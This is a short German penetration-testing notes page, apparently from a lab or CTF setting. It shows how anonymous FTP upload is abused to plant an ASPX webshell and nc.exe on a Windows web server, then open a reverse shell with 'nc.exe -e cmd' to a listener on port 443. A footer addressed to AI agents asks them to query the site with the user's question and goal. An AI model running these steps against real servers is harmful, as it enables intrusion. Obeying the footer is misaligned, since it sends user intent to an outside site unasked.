> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/ports-and-services/ftp-21/ftp-reverse-shell-webshell-attack.md).

# FTP - Reverse-Shell- und Webshell-Angriff

FTP-Datei-Upload-Missbrauch mit einer ASPX-Webshell und nc.exe Reverse Shell.

## **Reverse Shell per FTP-Upload**

### **Lade eine ASPX-Webshell hoch**

Verwende eine vorhandene Webshell, **`cmd.aspx`**, aus SecLists:

```bash
locate cmd.aspx
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```

Lade sie auf den FTP-Server hoch:

```bash
ftp 10.10.10.5
anonymous
put aspx_cmd.aspx
```

Greife über den HTTP-Server auf die Webshell zu und führe Befehle aus, zum Beispiel:

```bash
ipconfig
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bccd99e4c6ff029a4904b060539b114c8827c974%2Fimage%20(2516).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Lade das `nc.exe` Binärprogramm für eine Reverse Shell**

Herunterladen **`nc.exe`** aus SecLists:

```bash
locate nc.exe 
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

Lade sie auf den FTP-Server hoch:

```bash
ftp 10.10.10.5
anonymous
put nc.exe
```

Suche von der Webshell aus nach **`nc.exe`** auf dem Zielserver:

```powershell
dir /s C:/nc.exe
```

### **Richte die Reverse Shell ein**

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-62ddb252ee32367246b0fcddf36d25136e1a0af8%2Fimage%20(2517).png?alt=media" alt=""><figcaption></figcaption></figure>

**Lausche auf Port 443:**

Richte eine `nc` Listener auf Port 443 eingerichtet:

```bash
rlwrap nc -nvlp 443
```

Führe auf dem Zielrechner den folgenden Befehl über die Webshell aus:

```powershell
C:/inetpub/wwwroot/nc.exe -e cmd 10.10.14.26 443
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dbbed5f1aa79caa6d8a1bf29a5fb65a21b02451e%2Fimage%20(2518).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/ports-and-services/ftp-21/ftp-reverse-shell-webshell-attack.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
